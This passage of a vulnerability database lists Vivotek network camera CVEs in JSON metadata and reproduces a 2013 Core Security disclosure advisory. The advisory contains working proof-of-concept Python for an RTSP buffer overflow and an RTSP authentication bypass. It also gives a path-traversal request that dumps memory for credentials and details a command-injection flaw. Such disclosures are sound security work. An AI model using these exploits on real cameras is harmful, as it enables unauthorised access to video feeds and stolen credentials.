"date": "2019-01-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"date": "2019-01-03T20:29:00.373000",
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-01-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-00363"
},
{
"date": "2019-01-14T00:00:00",
"db": "VULHUB",
"id": "VHN-128784"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013359"
},
{
"date": "2019-01-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-066"
},
{
"date": "2024-11-21T03:55:34.567000",
"db": "NVD",
"id": "CVE-2018-18244"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK Network Camera Product firmware Vulnerable to cross-site scripting",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013359"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "XSS",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-066"
}
],
"trust": 0.6
}
}
VAR-201901-0605
Vulnerability from variot - Updated: 2025-01-30 21:09Cross-site scripting in event_script.js in VIVOTEK Network Camera Series products with firmware 0x06x to 0x08x allows remote attackers to execute arbitrary JavaScript via a URL query string parameter. VIVOTEKNetworkCameraSeries is a series of network camera products from China VIVOTEK. A cross-site scripting vulnerability exists in the event_script.js file in the VIVOTEKNetworkCamera family of products from 0x06x to 0x08x
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201901-0605",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "0x06x to 0x08x"
},
{
"model": "network camera series",
"scope": "gte",
"trust": 0.6,
"vendor": "vivotek",
"version": "0x06x;\u003c=0x08x"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
}
]
},
"cve": "CVE-2018-18005",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"id": "CVE-2018-18005",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-00683",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"exploitabilityScore": 8.6,
"id": "VHN-128521",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:N/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 2.8,
"id": "CVE-2018-18005",
"impactScore": 2.7,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"trust": 1.8,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-18005",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2018-18005",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2019-00683",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201901-065",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-128521",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Cross-site scripting in event_script.js in VIVOTEK Network Camera Series products with firmware 0x06x to 0x08x allows remote attackers to execute arbitrary JavaScript via a URL query string parameter. VIVOTEKNetworkCameraSeries is a series of network camera products from China VIVOTEK. A cross-site scripting vulnerability exists in the event_script.js file in the VIVOTEKNetworkCamera family of products from 0x06x to 0x08x",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-18005"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
}
],
"trust": 2.25
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-18005",
"trust": 3.2
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-00683",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-128521",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"id": "VAR-201901-0605",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
}
],
"trust": 1.5516892
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
}
]
},
"last_update_date": "2025-01-30T21:09:41.617000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-006",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"title": "Patch for VIVOTEKNetworkCamera Series Cross-Site Scripting Vulnerability (CNVD-2019-00683)",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/149453"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-79",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-128521"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.3,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-006-v1.pdf"
},
{
"trust": 1.7,
"url": "https://blog.securityevaluators.com/vivotek-ip-camera-vulnerabilities-discovered-and-exploited-2e2531ecd244"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-18005"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-18005"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"db": "VULHUB",
"id": "VHN-128521"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-01-09T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"date": "2019-01-03T00:00:00",
"db": "VULHUB",
"id": "VHN-128521"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"date": "2019-01-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"date": "2019-01-03T20:29:00.327000",
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-01-09T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-00683"
},
{
"date": "2019-01-14T00:00:00",
"db": "VULHUB",
"id": "VHN-128521"
},
{
"date": "2019-02-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-013358"
},
{
"date": "2019-01-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201901-065"
},
{
"date": "2024-11-21T03:55:21.337000",
"db": "NVD",
"id": "CVE-2018-18005"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK Network Camera Product firmware Vulnerable to cross-site scripting",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-013358"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "XSS",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201901-065"
}
],
"trust": 0.6
}
}
VAR-202001-0836
Vulnerability from variot - Updated: 2025-01-30 20:36An Authentication Bypass Vulnerability exists in Vivotek PT7135 IP Camera 0300a and 0400a via specially crafted RTSP packets to TCP port 554. Vivotek PT7135 IP Camera Contains an authentication vulnerability.Information may be obtained. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. Advisory Information
Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release
- Vulnerability Information
Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598
- [CVE-2013-1594] to process GET requests that contain sensitive information,
- [CVE-2013-1595] to execute arbitrary code,
- [CVE-2013-1596] to access the video stream via RTSP,
- [CVE-2013-1597] to dump the camera's memory and retrieve user credentials,
-
[CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a).
-
Vulnerable Packages
. Other Vivotek cameras/firmware are probably affected too, but they were not checked.
- Non-Vulnerable Packages
Vendor did not provide details. Contact Vivotek for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.
Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'.
- Credits
[CVE-2013-1594] was originally discovered and reported [2] by Alejandro Leon Morales [3] and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security.
[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Sensitive information stored in plain text includes:
. FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices):
/----- http://192.168.1.100/cgi-bin/admin/getparam.cgi
http://192.168.1.100/setup/parafile.html -----/
8.2. Remote Buffer Overflow
[CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
/----- import socket, base64
cam_ip = '192.168.1.100' session_descriptor = 'live.sdp'
request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n'
auth_little = 'a' * 1000 auth_big = 'a' * 10000
msgs = [request % auth_little, request % auth_big]
for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close()
-----/
8.3. As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class Vivotek(Camera): # Vivotek PT7135/0400a def init(self, address): Camera.init(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/
8.4. User Credentials Leaked via Path Traversal
[CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw.
/----- import httplib
conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/
8.5. OS Command Injection
[CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp':
/-----
.text:0000CB34 MOV R1, R4
.text:0000CB38 LDR R0, =aCmdporcessStar ;
"[CmdPorcess] Start sync with NTP server %s"...
.text:0000CB3C ADD R10, SP, #0x144+var_120
.text:0000CB40 BNE loc_CB68
[...]
.text:0000CB68 BL .printf
.text:0000CB6C LDR R2, =aSS_0 ; "%s%s"
.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;
"/usr/sbin/psntpdate -4fr "
.text:0000CB74 MOV R1, #0xFF ; maxlen
.text:0000CB78 MOV R0, R10 ; s
.text:0000CB7C STR R4, [SP,#0x144+var_144]
.text:0000CB80 BL .snprintf
.text:0000CB84 MOV R0, R10 ; command
.text:0000CB88 BL .system
-----/
- Report Timeline
. 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-03-11: Core asks for a security manager to send a confidential report. 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24: Core tries to contact vendor for last time without any reply. 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'.
- References
[1] http://www.vivotek.com/web/product/NetworkCameras.aspx [2] http://www.securityfocus.com/bid/54476. [3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
